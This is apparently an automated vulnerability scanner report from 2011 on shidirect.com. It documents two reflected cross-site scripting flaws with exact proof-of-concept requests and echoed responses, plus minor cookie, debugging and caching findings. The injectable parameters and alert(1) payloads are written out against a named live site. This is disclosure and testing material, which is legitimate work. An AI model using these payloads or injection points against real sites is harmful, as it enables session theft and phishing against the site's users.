shidirect.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

XSS in shidirect.com | Vulnerability Crawler Report

Report generated by CloudScan Vulnerability Crawler at Tue Jan 04 19:51:12 CST 2011.

Contents

Loading

1. Cross-site scripting (reflected)

1.1. https://www.shidirect.com/FeaturedBrands/FeaturedBrand.aspx [fname parameter]

1.2. https://www.shidirect.com/FeaturedBrands/FeaturedBrand.aspx [name of an arbitrarily supplied request parameter]

2. ASP.NET debugging enabled

3. SSL cookie without secure flag set

4. Cross-domain Referer leakage

5. Cookie without HttpOnly flag set

6. Robots.txt file

7. Cacheable HTTPS response

8. SSL certificate


1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. https://www.shidirect.com/FeaturedBrands/FeaturedBrand.aspx [fname parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.shidirect.com
Path:   /FeaturedBrands/FeaturedBrand.aspx

Issue detail

The value of the fname request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 91912"%3balert(1)//4b8c0db81c8 was submitted in the fname parameter. This input was echoed as 91912";alert(1)//4b8c0db81c8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /FeaturedBrands/FeaturedBrand.aspx?fid=110159&fname=Tenable91912"%3balert(1)//4b8c0db81c8 HTTP/1.1
Host: www.shidirect.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 05 Jan 2011 01:43:54 GMT
Server: Microsoft-IIS/6.0
X-SID: 5
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXANONYMOUS=LPyG2QvjywEkAAAAZDY1MjRiZDEtOTgwNS00N2FhLTkwNTItOTEwNmU4NWRlMDJlD3IT9rYqthki6izEg6nLb24S2_E1; expires=Tue, 15-Mar-2011 12:23:54 GMT; path=/; secure; HttpOnly
Set-Cookie: .SHIS=uhg2jeLV_LG40tg-ciK6XFfFICfj4wmbgiP8VUbguAGVUjXolRnvLCzUWljXibQSoYIU6Nqu3Dcx8cRJTxdnUg2; path=/; secure
Set-Cookie: SBA=C9AeWj5nesap7erp0-RxfQtEUIB-0SP0IH9hdJ5ASxk1; expires=Tue, 04-Jan-2011 01:43:54 GMT; path=/; secure
Set-Cookie: .SHIFORMSAUTH=; expires=Tue, 12-Oct-1999 04:00:00 GMT; path=/; secure; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 106658
Set-Cookie: BIGipServerShiDirect=3403748524.20480.0000; path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" >
<html>
<head id="ctl01_Head1"><title>
   www.shidirect.com - Featured Brand
</title><meta http-equiv="X-UA-Compatible" content="I
...[SNIP]...
indow1", "RadWindow1", "radWindow_ctl01_Footer1_RadWindowManager1_RadWindow1", false, "/UserFeedBack.aspx?RequestName=http://www.shidirect.com/FeaturedBrands/FeaturedBrand.aspx?fid=110159&fname=Tenable91912";alert(1)//4b8c0db81c8", "", "", "", "", "", "450px", "400px",
"", "" ,"Feedback", "", 0, 5, 1, true, null, null, null, "", "", null,true,null,"" );

/*]]>
...[SNIP]...
1.2. https://www.shidirect.com/FeaturedBrands/FeaturedBrand.aspx [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.shidirect.com
Path:   /FeaturedBrands/FeaturedBrand.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4b66f"%3balert(1)//abd167598f4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 4b66f";alert(1)//abd167598f4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /FeaturedBrands/FeaturedBrand.aspx?fid=110159&fname=Tenable&4b66f"%3balert(1)//abd167598f4=1 HTTP/1.1
Host: www.shidirect.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 05 Jan 2011 01:44:08 GMT
Server: Microsoft-IIS/6.0
X-SID: 2
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXANONYMOUS=-e_a4QvjywEkAAAAZWYwOTJlZWQtNDNhYi00YTU2LTg1ZmEtYjgzYjU1NzBhNWJlsx45fxPgZDQ0i5KZcZUqsJerT_o1; expires=Tue, 15-Mar-2011 12:24:08 GMT; path=/; secure; HttpOnly
Set-Cookie: .SHIS=uhg2jeLV_LG40tg-ciK6XBtMUopzg2Hd8QgpqjH0xfZYMTD7zqnCGQgdv2Nyfr7U5UL4EGv1AlzO1TBVLsnn_Q2; path=/; secure
Set-Cookie: SBA=C9AeWj5nesap7erp0-RxfQtEUIB-0SP0IH9hdJ5ASxk1; expires=Tue, 04-Jan-2011 01:44:08 GMT; path=/; secure
Set-Cookie: .SHIFORMSAUTH=; expires=Tue, 12-Oct-1999 04:00:00 GMT; path=/; secure; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 106962
Set-Cookie: BIGipServerShiDirect=3403551916.20480.0000; path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" >
<html>
<head id="ctl01_Head1"><title>
   www.shidirect.com - Featured Brand
</title><meta http-equiv="X-UA-Compatible" content="I
...[SNIP]...
ndow1", "RadWindow1", "radWindow_ctl01_Footer1_RadWindowManager1_RadWindow1", false, "/UserFeedBack.aspx?RequestName=http://www.shidirect.com/FeaturedBrands/FeaturedBrand.aspx?fid=110159&fname=Tenable&4b66f";alert(1)//abd167598f4=1", "", "", "", "", "", "450px", "400px",
"", "" ,"Feedback", "", 0, 5, 1, true, null, null, null, "", "", null,true,null,"" );

/*]]>
...[SNIP]...
2. ASP.NET debugging enabled  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   https://www.shidirect.com
Path:   /Default.aspx

Issue detail

ASP.NET debugging is enabled on the server. The user context used to scan the application does not appear to be permitted to perform debugging, so this is not an immediately exploitable issue. However, if you were able to obtain or guess appropriate platform-level credentials, you may be able to perform debugging.

Issue background

ASP.NET allows remote debugging of web applications, if configured to do so. By default, debugging is subject to access control and requires platform-level authentication.

If an attacker can successfully start a remote debugging session, this is likely to disclose sensitive information about the web application and supporting infrastructure which may be valuable in formulating targetted attacks against the system.

Issue remediation

To disable debugging, open the Web.config file for the application, and find the <compilation> element within the <system.web> section. Set the debug attribute to "false". Note that it is also possible to enable debugging for all applications within the Machine.config file. You should confirm that debug attribute in the <compilation> element has not been set to "true" within the Machine.config file also.

It is strongly recommended that you refer to your platform's documentation relating to this issue, and do not rely solely on the above remediation.

Request

DEBUG /Default.aspx HTTP/1.0
Host: www.shidirect.com
Command: start-debug

Response

HTTP/1.1 401 Unauthorized
Connection: close
Date: Wed, 05 Jan 2011 01:42:48 GMT
Server: Microsoft-IIS/6.0
X-SID: 3
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 39
Set-Cookie: BIGipServerShiDirect=3403617452.20480.0000; path=/

Debug access denied to '/Default.aspx'.
3. SSL cookie without secure flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.shidirect.com
Path:   /FeaturedBrands/FeaturedBrand.aspx

Issue detail

The following cookie was issued by the application and does not have the secure flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

Request

GET /FeaturedBrands/FeaturedBrand.aspx HTTP/1.1
Host: www.shidirect.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Connection: close
Date: Wed, 05 Jan 2011 01:42:46 GMT
Server: Microsoft-IIS/6.0
X-SID: 2
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Location: /CustomError.htm
Set-Cookie: .ASPXANONYMOUS=eSH7sAvjywEkAAAAMzg1YzFhMGUtMWQ1My00MmM5LTk0NTctNWNjYjA1NmRmOGM54Gq6xR5O9OQpJeump5l9RG1ifNE1; expires=Tue, 15-Mar-2011 12:22:46 GMT; path=/; secure; HttpOnly
Set-Cookie: .SHIS=uhg2jeLV_LG40tg-ciK6XKiSw_AjdUhtgID4aJ9Olx0UegnBfi6Sjt05pliS-oV6U6ZgibngWAcNrqHdMqea7w2; path=/; secure
Set-Cookie: SBA=C9AeWj5nesap7erp0-RxfQtEUIB-0SP0IH9hdJ5ASxk1; expires=Tue, 04-Jan-2011 01:42:46 GMT; path=/; secure
Set-Cookie: .SHIFORMSAUTH=; expires=Tue, 12-Oct-1999 04:00:00 GMT; path=/; secure; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 135
Set-Cookie: BIGipServerShiDirect=3403551916.20480.0000; path=/

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="%2fCustomError.htm">here</a>.</h2>
</body></html>
4. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.shidirect.com
Path:   /FeaturedBrands/FeaturedBrand.aspx

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /FeaturedBrands/FeaturedBrand.aspx?fid=110159&fname=Tenable HTTP/1.1
Host: www.shidirect.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 05 Jan 2011 01:43:31 GMT
Server: Microsoft-IIS/6.0
X-SID: 2
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXANONYMOUS=HXdkywvjywEkAAAAMjk4MTU0MWItYmNmMS00NWUyLThhNjMtMmIwY2Q0ZWNjYWFjKGB-0kIFtnlC-eKyywbVjZo55UA1; expires=Tue, 15-Mar-2011 12:23:30 GMT; path=/; secure; HttpOnly
Set-Cookie: .SHIS=uhg2jeLV_LG40tg-ciK6XHLLZejCSBwnd8nqt5-54mrXJd-7uWqVYeL6K4tIUgdW_JiE_Tw080DGOvCyDWNfvQ2; path=/; secure
Set-Cookie: SBA=C9AeWj5nesap7erp0-RxfQtEUIB-0SP0IH9hdJ5ASxk1; expires=Tue, 04-Jan-2011 01:43:31 GMT; path=/; secure
Set-Cookie: .SHIFORMSAUTH=; expires=Tue, 12-Oct-1999 04:00:00 GMT; path=/; secure; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 104998
Set-Cookie: BIGipServerShiDirect=3403551916.20480.0000; path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" >
<html>
<head id="ctl01_Head1"><title>
   www.shidirect.com - Featured Brand
</title><meta http-equiv="X-UA-Compatible" content="I
...[SNIP]...
<td align="right" style="width:110px; height:40px;">
<img id="ctl01_ContentPlaceHolder1_imgFeaturedBrandLogo" src="https://www.content.shi.com/shicom/Partner/Logos/Large/Tenable.gif" style="border-width:0px;" />
</td>
...[SNIP]...
<div id="ctl01_ContentPlaceHolder1_divImgHolder" style="height:250px">
<img id="ctl01_ContentPlaceHolder1_imgPromotionalImage" src="https://www.content.shi.com/shicom/Partner/banners/Tenable_Banner_May09.jpg" style="border-width:0px;" />
</div>
...[SNIP]...
_repeaterProduct_ctl01_hyperLinkToResult" href="https://www.shidirect.com/FeaturedBrands/ProdLinkLog.aspx?PId=19400744&amp;URef=%2fFeaturedBrands%2fFeaturedBrand.aspx%3ffid%3d110159%26fname%3dTenable"><img id="ctl01_ContentPlaceHolder1_ucProductWidget1_repeaterProduct_ctl01_imageProduct" onmouseover="$find('pce19400744').showPopup();" onmouseout="$find('pce19400744').hidePopup();" src="https://www.content.shi.com/Products/mini/STN/STN-NessusProfessionalFeedv4.jpg" style="height:75px;width:100px;border-width:0px;" /></a>
...[SNIP]...
_repeaterProduct_ctl02_hyperLinkToResult" href="https://www.shidirect.com/FeaturedBrands/ProdLinkLog.aspx?PId=19400745&amp;URef=%2fFeaturedBrands%2fFeaturedBrand.aspx%3ffid%3d110159%26fname%3dTenable"><img id="ctl01_ContentPlaceHolder1_ucProductWidget1_repeaterProduct_ctl02_imageProduct" onmouseover="$find('pce19400745').showPopup();" onmouseout="$find('pce19400745').hidePopup();" src="https://www.content.shi.com/Products/mini/STN/STN-NessusProfessionalFeedv4.jpg" style="height:75px;width:100px;border-width:0px;" /></a>
...[SNIP]...
_repeaterProduct_ctl03_hyperLinkToResult" href="https://www.shidirect.com/FeaturedBrands/ProdLinkLog.aspx?PId=19400746&amp;URef=%2fFeaturedBrands%2fFeaturedBrand.aspx%3ffid%3d110159%26fname%3dTenable"><img id="ctl01_ContentPlaceHolder1_ucProductWidget1_repeaterProduct_ctl03_imageProduct" onmouseover="$find('pce19400746').showPopup();" onmouseout="$find('pce19400746').hidePopup();" src="https://www.content.shi.com/Products/mini/STN/STN-NessusProfessionalFeedv4.jpg" style="height:75px;width:100px;border-width:0px;" /></a>
...[SNIP]...
_repeaterProduct_ctl01_hyperLinkToResult" href="https://www.shidirect.com/FeaturedBrands/ProdLinkLog.aspx?PId=19400747&amp;URef=%2fFeaturedBrands%2fFeaturedBrand.aspx%3ffid%3d110159%26fname%3dTenable"><img id="ctl01_ContentPlaceHolder1_ucProductWidget2_repeaterProduct_ctl01_imageProduct" onmouseover="$find('pce19400747').showPopup();" onmouseout="$find('pce19400747').hidePopup();" src="https://www.content.shi.com/Products/mini/STN/STN-NessusProfessionalFeedv4.jpg" style="height:75px;width:100px;border-width:0px;" /></a>
...[SNIP]...
_repeaterProduct_ctl02_hyperLinkToResult" href="https://www.shidirect.com/FeaturedBrands/ProdLinkLog.aspx?PId=19400748&amp;URef=%2fFeaturedBrands%2fFeaturedBrand.aspx%3ffid%3d110159%26fname%3dTenable"><img id="ctl01_ContentPlaceHolder1_ucProductWidget2_repeaterProduct_ctl02_imageProduct" onmouseover="$find('pce19400748').showPopup();" onmouseout="$find('pce19400748').hidePopup();" src="https://www.content.shi.com/Products/mini/STN/STN-NessusProfessionalFeedv4.jpg" style="height:75px;width:100px;border-width:0px;" /></a>
...[SNIP]...
_repeaterProduct_ctl03_hyperLinkToResult" href="https://www.shidirect.com/FeaturedBrands/ProdLinkLog.aspx?PId=19181917&amp;URef=%2fFeaturedBrands%2fFeaturedBrand.aspx%3ffid%3d110159%26fname%3dTenable"><img id="ctl01_ContentPlaceHolder1_ucProductWidget2_repeaterProduct_ctl03_imageProduct" onmouseover="$find('pce19181917').showPopup();" onmouseout="$find('pce19181917').hidePopup();" src="https://www.content.shi.com/Products/mini/STN/STN-NessusProfessionalFeedv4.jpg" style="height:75px;width:100px;border-width:0px;" /></a>
...[SNIP]...
5. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.shidirect.com
Path:   /FeaturedBrands/FeaturedBrand.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /FeaturedBrands/FeaturedBrand.aspx HTTP/1.1
Host: www.shidirect.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Connection: close
Date: Wed, 05 Jan 2011 01:42:46 GMT
Server: Microsoft-IIS/6.0
X-SID: 2
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Location: /CustomError.htm
Set-Cookie: .ASPXANONYMOUS=eSH7sAvjywEkAAAAMzg1YzFhMGUtMWQ1My00MmM5LTk0NTctNWNjYjA1NmRmOGM54Gq6xR5O9OQpJeump5l9RG1ifNE1; expires=Tue, 15-Mar-2011 12:22:46 GMT; path=/; secure; HttpOnly
Set-Cookie: .SHIS=uhg2jeLV_LG40tg-ciK6XKiSw_AjdUhtgID4aJ9Olx0UegnBfi6Sjt05pliS-oV6U6ZgibngWAcNrqHdMqea7w2; path=/; secure
Set-Cookie: SBA=C9AeWj5nesap7erp0-RxfQtEUIB-0SP0IH9hdJ5ASxk1; expires=Tue, 04-Jan-2011 01:42:46 GMT; path=/; secure
Set-Cookie: .SHIFORMSAUTH=; expires=Tue, 12-Oct-1999 04:00:00 GMT; path=/; secure; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 135
Set-Cookie: BIGipServerShiDirect=3403551916.20480.0000; path=/

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="%2fCustomError.htm">here</a>.</h2>
</body></html>
6. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.shidirect.com
Path:   /FeaturedBrands/FeaturedBrand.aspx

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.shidirect.com

Response

HTTP/1.1 200 OK
Content-Length: 114
Content-Type: text/plain
Last-Modified: Fri, 09 Jul 2010 16:05:39 GMT
Accept-Ranges: bytes
ETag: "808bd692801fcb1:156a5c"
Server: Microsoft-IIS/6.0
X-SID: 5
X-Powered-By: ASP.NET
Date: Wed, 05 Jan 2011 01:42:48 GMT
Connection: close
Set-Cookie: BIGipServerShiDirect=3403748524.20480.0000; path=/

User-agent: *
Disallow:

# Sitemap file
Sitemap: https://www.content.shi.com/SHIcom/Sitemaps/sitemap_index.xml
7. Cacheable HTTPS response  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.shidirect.com
Path:   /FeaturedBrands/FeaturedBrand.aspx

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Request

GET /FeaturedBrands/FeaturedBrand.aspx?fid=110159&fname=Tenable HTTP/1.1
Host: www.shidirect.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 05 Jan 2011 01:43:31 GMT
Server: Microsoft-IIS/6.0
X-SID: 2
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXANONYMOUS=HXdkywvjywEkAAAAMjk4MTU0MWItYmNmMS00NWUyLThhNjMtMmIwY2Q0ZWNjYWFjKGB-0kIFtnlC-eKyywbVjZo55UA1; expires=Tue, 15-Mar-2011 12:23:30 GMT; path=/; secure; HttpOnly
Set-Cookie: .SHIS=uhg2jeLV_LG40tg-ciK6XHLLZejCSBwnd8nqt5-54mrXJd-7uWqVYeL6K4tIUgdW_JiE_Tw080DGOvCyDWNfvQ2; path=/; secure
Set-Cookie: SBA=C9AeWj5nesap7erp0-RxfQtEUIB-0SP0IH9hdJ5ASxk1; expires=Tue, 04-Jan-2011 01:43:31 GMT; path=/; secure
Set-Cookie: .SHIFORMSAUTH=; expires=Tue, 12-Oct-1999 04:00:00 GMT; path=/; secure; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 104998
Set-Cookie: BIGipServerShiDirect=3403551916.20480.0000; path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" >
<html>
<head id="ctl01_Head1"><title>
   www.shidirect.com - Featured Brand
</title><meta http-equiv="X-UA-Compatible" content="I
...[SNIP]...
8. SSL certificate  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.shidirect.com
Path:   /

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:  www.shidirect.com
Issued by:  VeriSign Class 3 Secure Server CA - G2
Valid from:  Wed Jun 16 19:00:00 CDT 2010
Valid to:  Sun Jun 16 18:59:59 CDT 2013

Certificate chain #1

Issued to:  VeriSign Class 3 Secure Server CA - G2
Issued by:  VeriSign Trust Network
Valid from:  Tue Mar 24 19:00:00 CDT 2009
Valid to:  Sun Mar 24 18:59:59 CDT 2019

Certificate chain #2

Issued to:  VeriSign Trust Network
Issued by:  VeriSign Trust Network
Valid from:  Sun May 17 19:00:00 CDT 1998
Valid to:  Tue Aug 01 18:59:59 CDT 2028

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.
Report generated by CloudScan Vulnerability Crawler at Tue Jan 04 19:51:12 CST 2011.